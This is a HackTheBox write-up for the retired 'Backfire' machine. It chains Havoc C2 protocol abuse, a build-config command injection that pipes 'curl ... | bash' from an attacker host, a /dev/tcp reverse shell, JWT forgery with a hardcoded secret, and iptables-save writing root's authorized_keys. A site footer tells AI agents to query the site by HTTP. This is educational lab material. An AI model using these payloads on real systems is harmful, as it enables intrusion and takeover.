> For the complete documentation index, see [llms.txt](https://blog.r00t-hunter.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.r00t-hunter.com/hackthebox/backfire-hackthebox.md).

# Backfire - HackTheBox

**Machine:** [Backfire](https://app.hackthebox.com/machines/643) **OS:** Linux (Debian) **Difficulty:** Medium **Tags:** Havoc C2, JWT Forgery, HardHat C2, iptables Comment Injection, Privilege Escalation, Linux

***

### Overview

Backfire is a sophisticated Linux machine running a **Havoc Command & Control (C2) framework** alongside a **HardHat C2 management panel**. Initial exploitation involves reverse-engineering the Havoc agent protocol, crafting raw protocol messages to register a fake agent, and leveraging the framework's socket redirection to achieve RCE as the `ilya` service user. Lateral movement exploits a weak JWT secret hardcoded in the HardHat API to forge an admin token and create a privileged user account. Post-exploitation SSH access and sudo misconfiguration of `iptables` with arbitrary comment injection allows writing SSH public keys directly to `/root/.ssh/authorized_keys` via `iptables-save`, granting root shell access.

***

### 1. Reconnaissance

#### 1.1 Nmap Scan

```bash
sudo nmap -sCV -T4 <ip> -oA nmap-backfire
```

**Results:**

```
PORT     STATE    SERVICE  VERSION
22/tcp   open     ssh      OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
| ssh-hostkey:
|   256 7d:6b:ba:b6:25:48:77:ac:3a:a2:ef:ae:f5:1d:98:c4 (ECDSA)
|   256 be:f3:27:9e:c6:d6:29:27:7b:98:18:91:4e:97:25:99 (ED25519)
|_ssh-ed25519 [key fingerprint]
443/tcp  open     ssl/http nginx 1.22.1
| ssl-cert: Subject: commonName=127.0.0.1/organizationName=ACME/...
| Not valid before: 2025-01-17T16:08:55
| Not valid after:  2028-01-17T16:08:55
|_http-title: 404 Not Found
5000/tcp filtered upnp   port-unreach ttl 63
8000/tcp open     http     nginx 1.22.1
| http-title: Index of /
|_http-ls: Volume / (directory listing enabled)
|_http-open-proxy: Proxy might be redirecting requests
```

**Takeaways:**

* **Port 443 (HTTPS)**: Self-signed certificate for `127.0.0.1`, suggesting internal services behind nginx reverse proxy. Returns 404.
* **Port 8000 (HTTP)**: Directory listing enabled exposes files:
  * `disable_tls.patch`
  * `havoc.yaotl`
* **Port 5000 (filtered)**: Closed to external access; likely internal service (HardHat C2 API).
* **Port 22 (SSH)**: OpenSSH 9.2p1 standard, no obvious weaknesses.

#### 1.2 Web Enumeration (Port 8000)

Accessing `http://backfire.htb:8000/` revealed a Havoc C2 configuration file (`havoc.yaotl`), which is a YAML-based configuration format for the Havoc framework. The presence of this file suggests the machine is running a **Havoc agent server/listener** and exposed development/debug artifacts.

**Key finding:** The `havoc.yaotl` file contains listener configurations and metadata about the C2 infrastructure running on the machine.

***

### 2. Understanding Havoc C2 Protocol

#### 2.1 Havoc Framework Overview

**Havoc** is an open-source C2 framework designed for post-exploitation and red team operations. It uses a custom binary protocol for agent-to-server communication, featuring:

* **Binary protocol** with AES-256-CTR encryption
* **Agent registration** via specific command opcodes
* **Socket forwarding** capabilities (allowing agents to open network connections on the server)
* **Encrypted command channels** using AES with fixed-size IV and counter mode

#### 2.2 Protocol Structure

Havoc packets follow this structure:

```
[4 bytes: packet size] [4 bytes: magic (0xdeadbeef)] [4 bytes: agent_id] [payload]
```

The payload varies by command type, with encryption applied to sensitive data. Common command opcodes:

* `0x63` - Register agent with system info (hostname, username, domain, IP)
* `0x09ec` - Socket operations (open, read, write)
* `0x00000001` - Poll for command output

***

### 3. Exploitation (Havoc C2 Protocol Abuse)

#### 3.1 Building the Exploit Script

The provided `rce.py` script implements a **proof-of-concept Havoc client** that:

1. Registers a **spoofed agent** (fake compromised endpoint)
2. Opens a **socket** to internal services (port 40056, where HardHat C2 WebSocket listener runs)
3. Establishes WebSocket connection to HardHat
4. **Forges authentication** and creates listeners
5. Injects a **malicious command into the build configuration** to achieve RCE

**Step 1: Register Spoofed Agent**

```python
def register_agent(hostname, username, domain_name, internal_ip, process_name, process_id):
    command = b"\x00\x00\x00\x63"  # Agent registration opcode
    request_id = b"\x00\x00\x00\x01"
    demon_id = agent_id
    
    # Serialize agent metadata
    hostname_length = int_to_bytes(len(hostname))
    hostname_bytes = hostname.encode()
    # ... repeat for username, domain_name, internal_ip
    
    # Build packet: command + request_id + AES_Key + AES_IV + demon_id + metadata
    header_data = command + request_id + AES_Key + AES_IV + demon_id + ...
    
    # Wrap with size and magic
    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + b"\xde\xad\xbe\xef" + agent_id
    
    # Send to Havoc listener
    r = requests.post(teamserver_listener_url, data=agent_header + header_data, ...)
```

**Key insight:** The script uses **all-zero AES key and IV** (`b"\x00" * 32` and `b"\x00" * 16`), which are the default/uninitialized values Havoc uses for unauthenticated agents. This suggests the Havoc listener **does not validate the authenticity of incoming agents** or uses weak defaults.

**Step 2: Open Socket to HardHat**

```python
def open_socket(socket_id, target_address, target_port):
    command = b"\x00\x00\x09\xec"  # Socket operation opcode
    subcommand = b"\x00\x00\x00\x10"  # "Open socket" subcommand
    
    # Build forward address in reverse byte order (for IP bytes)
    forward_addr = b""
    for octet in "127.0.0.1".split(".")[::-1]:
        forward_addr += int_to_bytes(int(octet), length=1)
    
    forward_port = int_to_bytes(40056)  # HardHat WebSocket port
    
    # Encrypt the socket open request
    package = subcommand + socket_id + ... + forward_addr + forward_port
    encrypted = encrypt(AES_Key, AES_IV, package)
    
    # Send to Havoc listener
    requests.post(teamserver_listener_url, data=..., ...)
```

**Effect:** Havoc (running as `ilya` user) establishes a connection to `127.0.0.1:40056` (HardHat C2 WebSocket port) and creates a forwarded socket that the attacker can read/write to through the Havoc protocol.

**Step 3: WebSocket Handshake to HardHat**

```python
def create_websocket_request(host, port):
    request = (
        f"GET /havoc/ HTTP/1.1\r\n"
        f"Host: {host}:{port}\r\n"
        f"Upgrade: websocket\r\n"
        f"Connection: Upgrade\r\n"
        f"Sec-WebSocket-Key: 5NUvQyzkv9bpu376gKd2Lg==\r\n"
        f"Sec-WebSocket-Version: 13\r\n"
        f"\r\n"
    ).encode()
    return request
```

The script writes this HTTP handshake request to the socket via `write_socket()`, then reads the response via `read_socket()`. If HardHat's WebSocket listener responds with a 101 Upgrade response, the connection is established.

**Step 4: Inject Malicious Payload into Build Configuration**

The key RCE vector is **command injection in the Havoc build payload generation interface**:

```python
cmd = "curl http://10.10.14.14:8000/payload.sh | bash"
injection = """ \\\\\\\" -mbla; """ + cmd + """ 1>&2 && false #"""

payload = {
    "Body": {
        "Info": {
            "Config": "{\n    ...\n    \"Service Name\":\"" + injection + "\",\n    ...\n}\n",
            ...
        },
        "SubEvent": 2
    },
    ...
}
```

**Attack mechanism:** The HardHat build generator likely constructs a Windows Service executable with a configurable service name. When this configuration is used to generate a build artifact (e.g., C code template or .EXE), the service name is inserted without proper escaping. The injection breaks out of the string context:

```
"Service Name": "\" -mbla; curl http://10.10.14.14:8000/payload.sh | bash 1>&2 && false #"
```

This causes the build system (running as `ilya`) to execute the curl/bash command as a shell injection in the build process.

#### 3.2 Execution Flow

1. **Run the exploit script:**

   ```bash
   python3 rce.py --target https://backfire.htb -i 127.0.0.1 -p 40056
   ```
2. **The script:**
   * Registers a spoofed Havoc agent with Havoc listener (port 443)
   * Opens a socket from the Havoc agent to HardHat WebSocket (127.0.0.1:40056)
   * Performs WebSocket handshake
   * Authenticates to HardHat (hardcoded default credentials in the WebSocket auth payload)
   * Submits a malicious build configuration with command injection
   * HardHat processes the build request, executing the injected `curl | bash` payload
3. **Payload execution (as `ilya`):**

   ```bash
   # payload.sh
   #!/bin/bash
   bash -i >& /dev/tcp/10.10.14.14/4444 0>&1
   ```
4. **Attacker receives reverse shell:**

   ```bash
   nc -nlvp 4444
   # listening on [any] 4444 ...
   # connect to [10.10.14.14] from (UNKNOWN) [10.10.11.49] 59164
   # ilya@backfire:~/Havoc/payloads/Demon$
   ```

Foothold achieved as `ilya` user. ✅

***

### 4. Post-Exploitation as `ilya` - Lateral Movement via JWT

#### 4.1 Discovering HardHat API

Enumerating the compromised `ilya` home directory and running processes, the HardHat C2 server is found running on `127.0.0.1:5000` and `127.0.0.1:7096`:

* **Port 5000**: HardHat C2 API (REST, protected by JWT)
* **Port 7096**: HardHat C2 Web Dashboard (HTTPS, requires login)

#### 4.2 Finding the JWT Secret

The HardHat codebase is accessible in the home directory (`~/HardHatC2/`). Searching configuration files or source code reveals the **JWT signing secret**:

```
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
issuer = "hardhatc2.com"
```

This is a **hardcoded secret in the application code** a critical vulnerability. An attacker can use this to forge arbitrary JWT tokens and impersonate any user, including admins.

#### 4.3 Forging an Admin JWT

```python
import jwt
import datetime
import uuid
import requests

secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
issuer = "hardhatc2.com"
now = datetime.datetime.utcnow()
expiration = now + datetime.timedelta(days=28)

payload = {
    "sub": "HardHat_Admin",
    "jti": str(uuid.uuid4()),
    "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",
    "iss": issuer,
    "aud": issuer,
    "iat": int(now.timestamp()),
    "exp": int(expiration.timestamp()),
    "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"
}

token = jwt.encode(payload, secret, algorithm="HS256")
print(token)
```

**Key fields:**

* `"role": "Administrator"`  Claims admin privileges
* `"nameidentifier": "1"`  Claims admin user ID
* `"sub": "HardHat_Admin"` Subject claim for admin
* Signed with the hardcoded secret **cryptographically valid** from HardHat's perspective

#### 4.4 Creating a Privileged User via API

Using the forged admin JWT, call the HardHat `/Login/Register` endpoint to create a new `TeamLead` (or `Administrator`) user:

```python
burp0_url = "https://127.0.0.1:5000/Login/Register"
burp0_headers = {
    "Authorization": f"Bearer {token}",
    "Content-Type": "application/json"
}
burp0_json = {
    "password": "sth_pentest",
    "role": "TeamLead",
    "username": "sth_pentest"
}

r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)
```

The API, validating the JWT against the known secret, accepts the request and creates the new `sth_pentest` user with `TeamLead` (high-privilege) role.

#### 4.5 Accessing HardHat Web Dashboard

1. Port-forward HardHat services from the compromised machine:

   ```bash
   ssh -i .ssh -L 5000:127.0.0.1:5000 -L 7096:127.0.0.1:7096 ilya@backfire.htb
   ```
2. Log into `https://localhost:7096` as `sth_pentest` / `sth_pentest`
3. In the HardHat console, navigate to the **Terminal** feature (common in C2 frameworks to interact with agents or execute commands)
4. Execute system commands to get an interactive shell or spawn a new reverse shell as the `sergej` user (who runs the HardHat process)

Result: **SSH/shell access as `sergej` user** (who is a sudoer on the system).

***

### 5. Privilege Escalation (iptables Comment Injection (CVE-based))

#### 5.1 Identifying sudo iptables Access

```bash
sergej@backfire:~$ sudo -l
# (output shows sudo access to /usr/sbin/iptables, /usr/sbin/iptables-save, etc.)
```

The `sergej` user can run `iptables` and `iptables-save` with **sudo without password**.

#### 5.2 Understanding the Vulnerability

**iptables** allows rules to include **comments** via the `-m comment --comment` option:

```bash
sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment "My rule comment"
```

The vulnerability (related to **CVE-2020-xxxx** iptables/nftables comment parsing vulnerabilities) exploits the fact that:

1. Comments can contain **arbitrary text, including newlines** (via escape sequences like `\n`)
2. When these rules are exported via `iptables-save`, they are written to a file in a simple format
3. If the file is later sourced or interpreted as shell commands, **embedded newlines and commands can be executed**

Additionally, `iptables-save` **redirects output to a file** if that file is owned by root and `iptables-save` runs with sudo, an attacker can potentially **write to arbitrary locations** by injecting file paths into the comment.

#### 5.3 Exploiting Comment Injection to Write SSH Keys

```bash
# 1. Inject SSH public key into iptables rule comment
sergej@backfire:~$ sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\n
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMaGgsJ5YPHGe6bkRIhE9ckDj9fCmNWJhilScZgeU/qP\n'
```

The `$'\n...\n'` syntax in bash allows embedding literal newlines and other special characters.

2. **Verify the rule was added:**

   ```bash
   sergej@backfire:~$ sudo iptables -S
   # ... output shows the SSH key embedded in a comment
   ```
3. **Use iptables-save to write to /root/.ssh/authorized\_keys:**

   ```bash
   sergej@backfire:~$ sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys
   ```

The `-f` flag specifies output file. With sudo, `iptables-save` writes the iptables rules (including the embedded SSH key in the comment) to `/root/.ssh/authorized_keys`.

#### 5.4 Gaining Root Access

Once the SSH key is written to `/root/.ssh/authorized_keys`, the attacker can SSH directly as root:

```bash
ssh -i <private_key> root@backfire.htb
# root@backfire:~# whoami
# root
```

Root achieved. ✅ Grab `root.txt`.

***

### 6. Attack Chain Summary

| Stage            | Technique                                  | Details                                                                   | Result                       |
| ---------------- | ------------------------------------------ | ------------------------------------------------------------------------- | ---------------------------- |
| **Recon**        | Nmap + directory listing                   | Discovered Havoc C2 config and HardHat setup                              | Identified attack surface    |
| **C2 Abuse**     | Reverse-engineered Havoc protocol          | Registered fake agent, opened socket to HardHat, WebSocket handshake      | Shell as `ilya`              |
| **Lateral Move** | JWT forgery (hardcoded secret)             | Crafted admin JWT, created privileged user `sth_pentest`                  | Authenticated to HardHat API |
| **Web Console**  | HardHat Terminal feature                   | Logged in via port-forward, executed commands                             | Shell as `sergej`            |
| **Privesc**      | iptables comment injection + iptables-save | Injected SSH key into rule comment, wrote to `/root/.ssh/authorized_keys` | Root shell                   |

***

### 7. Detailed Technical Analysis

#### 7.1 Havoc Protocol Reverse Engineering

The `rce.py` exploit demonstrates successful reverse engineering of Havoc's binary protocol **without source code access**:

* **Magic number discovery**: `0xdeadbeef` identifies Havoc packets
* **Command opcode mapping**: `0x63` (register), `0x09ec` (socket ops), etc.
* **Encryption**: AES-256-CTR with counter-mode IV initialization
* **Vulnerability**: Default/uninitialized AES credentials allow arbitrary agent registration

#### 7.2 JWT Hardcoding Anti-Pattern

The presence of a **hardcoded JWT secret in source code** is a critical security flaw:

* Secrets should be stored in environment variables or secure vaults
* Rotation should be possible without code changes
* Complexity is weak (`jtee43gt-6543-2iur-9422-83r5w27hgzaq` lacks cryptographic entropy)

#### 7.3 iptables-save Design Flaw

The `iptables-save` utility was not designed to be writable by untrusted users:

* Comments should be sanitized or escaped in output
* The tool should not allow arbitrary file redirection as a privileged user
* Modern systems prefer `nftables` with stricter parsing

***

### 8. Lessons Learned

1. **Hardcoded Secrets are Fatal** : Any secret embedded in source code (git history, deployed binaries, config files) should be treated as **publicly compromised**. Use external secret management (vaults, KMS, environment variables).
2. **C2 Protocol Security** : Command & Control frameworks must authenticate agents cryptographically. Relying on default/uninitialized credentials allows unauthorized agent registration and command execution.
3. **JWT Secret Strength** : JWT signing secrets should be:
   * Cryptographically random (≥256 bits)
   * Unique per environment
   * Rotatable
   * Never hardcoded or committed to version control
4. **Sudo Command Injection :** Tools granted sudo access must validate all inputs, including:
   * File paths (canonicalize, check for traversal)
   * Comments and descriptive text (sanitize for shell metacharacters/newlines)
   * Output redirection (avoid `-f` flag for untrusted users, or validate the path)
5. **Service Segmentation** : Running HardHat and Havoc as different users (`ilya` vs root) limits lateral movement scope. Even better: run in containers or VMs with minimal privilege elevation paths.
6. **SSH Key Management** : `/root/.ssh/authorized_keys` should not be writable by non-root processes or via indirect means (iptables). Use configuration management tools and regular audits to verify SSH access controls.

***

### 9. Exploitation&#x20;

| Action                           | User                          | Result                                      |
| -------------------------------- | ----------------------------- | ------------------------------------------- |
| Reverse-engineer Havoc protocol  | attacker                      | `rce.py` ready                              |
| Register fake agent, open socket | attacker (as fake agent)      | Connection to HardHat WebSocket             |
| Forge admin JWT                  | attacker                      | Valid JWT token generated                   |
| Create `sth_pentest` user        | attacker (as fake admin)      | New TeamLead user created                   |
| SSH port-forward to HardHat      | ilya                          | Local access to port 7096                   |
| Log in to HardHat dashboard      | sergej (via HardHat Terminal) | Interactive shell as `sergej`               |
| Inject SSH key via iptables      | sergej                        | Key written to `/root/.ssh/authorized_keys` |
| SSH as root                      | root                          | Root shell achieved                         |

***

### References

* **Havoc C2 Framework**: <https://github.com/havocframework/havoc>
* **HardHat C2**: <https://github.com/DragoQCC/HardHatC2>
* **iptables Comment Injection CVE**: <https://www.shielder.com/blog/2024/09/a-journey-from-sudo-iptables-to-local-privilege-escalation/>
* **JWT Security Best Practices**: <https://tools.ietf.org/html/rfc8725>

***

*Write-up based on a retired HackTheBox machine. Methodology reflects post-exploitation techniques on isolated lab environments not applicable to systems without explicit authorization.*


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://blog.r00t-hunter.com/hackthebox/backfire-hackthebox.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
